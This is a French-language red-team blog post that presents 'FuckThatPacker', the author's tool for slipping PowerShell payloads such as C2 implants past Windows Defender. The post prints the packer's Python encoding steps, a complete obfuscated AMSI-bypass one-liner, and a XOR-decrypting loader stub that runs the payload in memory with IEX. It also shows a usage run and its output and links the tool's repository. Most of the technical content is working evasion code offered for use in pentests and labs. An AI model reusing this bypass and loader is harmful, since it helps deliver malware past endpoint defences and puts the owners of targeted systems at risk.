Évasion simple d'Anti-Virus

Simple mais efficace ...

Posté par Matthieu le 13 aout 2020

Introduction

Au cours des derniers articles, nous avons abordé plusieurs fois la notion de discrétion ou même d'évasion d'anti-virus. C'est bien-sûr une composante essentielle de la "Red-Team", domaine sur lequel je tends à orienter ce blog. Aujourd'hui, nous verrons le fonctionnement de "FuckThatPacker", un outil développé récemment par mes soins afin de répondre à une problématique simple : comment faire passer n'importe quel script PowerShell au travers de Windows Defender.

Dans ce bref article, nous détaillerons le fonctionnement (même si rudimentaire) de l'outil "FuckThatPacker", nous verrons comment l'utiliser dans un cas pratique et enfin aborderons les axes d'améliorations que pourrait avoir l'outil (en fonction de l’engouement des lecteurs).

FuckThatPacker, pourquoi ?

Après avoir fait la certification "Red Team Operator", j'ai voulu poursuivre avec les labs de @RastaMouse et j'ai donc fait Rastalabs, un lab de Red-Team noté "très dur" qui allie Red-Team, pentest Active Directory, cryptographie, et reverse/exploit. Cependant, contrairement à la certification RTO où la notion d'anti-virus n'est que très brièvement énoncée, Windows Defender est omniprésent sur Rastalab. Nous nous retrouvons donc dès le début confronté à cet obstacle qui peut s’avérer agaçant.

Il est donc l'heure de relever nos manches et de nous plonger dans la confection d'une charge permettant de charger un implant de notre C2 (Command & Control) préféré (Cobalt Strike FTW). Dans le cadre de Cobalt Strike, nous sommes aidés par le "Ressource Kit". Pour votre information, c'est un ensemble de templates modifiables des charges générées par Cobalt Strike. Cependant, il faut aussi penser à la large majorité n'ayant pas la chance de travailler avec Cobalt Strike et proposer une solution polyvalente, rapide et efficace pour transformer les charges PowerShell détectées en charge PowerShell "saines" pour l'anti-virus.

C'est à ce moment là qu'est né : FuckThatPacker.

Un outil très simple mais pourtant efficace qui m'a permis de réaliser entièrement RastaLab sans être embêté par Windows Defender.

Comment ça marche ?

Je vais vous expliquer, c'est très simple. Après plusieurs recherches, il s'avère que même en offusquant chacune des lignes du Ressource Kit de base de Cobalt Strike nous restons avec un malware détecté. Le problème vient du shellcode en base64 qui est analysé par l'AMSI (AntiMalware Scan Interface) et se fait détecter en tant que script malicieux. FuckThatPacker part donc du principe que si le malware est complétement chiffré via un XOR et intégré dans un "stub" permettant le déchiffrement en mémoire couplé à un bypass simple de l'AMSI alors cela suffira à passer outre les anti-virus... Et ça marche !!

Voici le détail du code :

Le script va récupérer le contenu de la charge :

with open(args.payload) as f:
        content = f.read()

Le code va être tout d'abord encodé en UTF16-LittleEndian puisque c'est l'encodage pris par Windows :

print "[+] Encode UTF16-LE"
content = content.encode("utf-16")

Puis être chiffré via un simple XOR avec la clef numérique choisie par l'utilisateur :

print "[+] Cyphering Payload ..."
content = xor_payload(content,key)

Le tout sera enfin encodé en base64 afin d'avoir uniquement des caractères imprimables, avant d'être intégré dans le template fourni avec le projet :

print "[+] Base64 Payload"
content = base64.b64encode(content)

print "[+] Writting into Template"
with open("template.txt") as f:
        template = f.read()

template = template.replace("%%DATA%%",content)
template = template.replace("%%KEY%%",str(key))

L'idée derrière l’utilisation d'un template est de rendre le projet malléable par la communauté. De cette manière, n'importe qui peut modifier son template afin d'avoir une charge offusquée qui lui est propre. De plus, cela permet de s'affranchir des possibles futures signatures.

Jetons maintenant un rapide coup d'oeil au template :

[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141)
$a = "%%DATA%%"
$b = [System.Convert]::FromBase64String($a)
for ($x = 0; $x -lt $b.Count; $x++) {
                $b[$x] = $b[$x] -bxor %%KEY%%
        }
IEX ([System.Text.Encoding]::Unicode.GetString($b))

Ceux qui ont lu mes précédents articles savent à quoi sert la première ligne du code : le bypass de l'AMSI. Cette ligne permet de s'affranchir de cette fonctionnalité et d'éviter ainsi que Defender décode les parties encodées pour essayer d'y trouver des signatures.
parties encodées pour essayer d'y trouver des signatures. La variable "$a" se verra attribuée la partie chiffrée de notre charge, elle sera ensuite décodée dans la variable $b puis passée dans une boucle permettant de déchiffrer un à un les octets de la charge. La commande IEX (pour Invoke-Expression) permettra simplement l’exécution de la charge en mémoire.

Le menu d'aide est assez explicite mais voici une démonstration d'utilisation de l'outil :

# python FuckThatPacker.py -k 32 -p /root/payload.ps1 -o obfuscated.ps1

  ___        _   _____ _         _   ___         _           
 | __|  _ __| |_|_   _| |_  __ _| |_| _ \__ _ __| |_____ _ _ 
 | _| || / _| / / | | | ' \/ _` |  _|  _/ _` / _| / / -_) '_|
 |_| \_,_\__|_\_\ |_| |_||_\__,_|\__|_| \__,_\__|_\_\___|_|  
                                                          
                                                                      
Written with <3 by Unknow101/inf0sec
v1.0[+] Encode UTF16-LE
[+] Cyphering Payload ...
[+] Base64 Payload
[+] Writting into Template
[+] Writting into obfuscated.ps1

Comme indiqué sur la dernière ligne, la charge chiffrée se retrouve dans le fichier "obfuscated.ps1" (si aucun fichier de sortie n'est fourni, le script l'affichera dans stdout).

# cat obfuscated.ps1 
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141)
$a = "395zIE[...]ICog"
$b = [System.Convert]::FromBase64String($a)
for ($x = 0; $x -lt $b.Count; $x++) {
                $b[$x] = $b[$x] -bxor 32
        }
IEX ([System.Text.Encoding]::Unicode.GetString($b))

Le verdict

N'ayant sous la main aucun "Virus Total" personnel, j'ai dû utiliser l'original qui partage malheureusement les échantillons aux fournisseurs. Malgré tout, cela permet de mettre un score numérique et de juger de l'efficacité de l'outil puisque nous obtenons un score parfait :

Conclusion et axes d'améliorations

Cet article était loin d'être technique et l'outil plutôt simpliste. Par contre, il répond de manière très simple à la problématique posée. J'ai hésité à vous proposer cet article du fait de son manque de niveau technique mais j'espère qu'il pourra aider certains d'entre vous qui rencontrent des problèmes face aux anti-virus lors de pentest, lab, challenges, etc...

Le projet n'est pas encore abouti, il serait peut être intéressant d'y incorporer une fonctionnalité pour packer de la même manière des exécutables via un template fait en C et une compilation effectuée directement depuis le script. Je doute tout de même fortement d'atteindre ce même score parfait via cette technique pour des exécutables.

Le projet est disponible en téléchargement sur Github : https://github.com/Unknow101/FuckThatPacker

J'espère que ce premier article sur l’évasion d'anti-virus vous aura plu, des articles de sécurité Windows devraient arriver très prochainement.

Happy hacking

48 Coeur(s)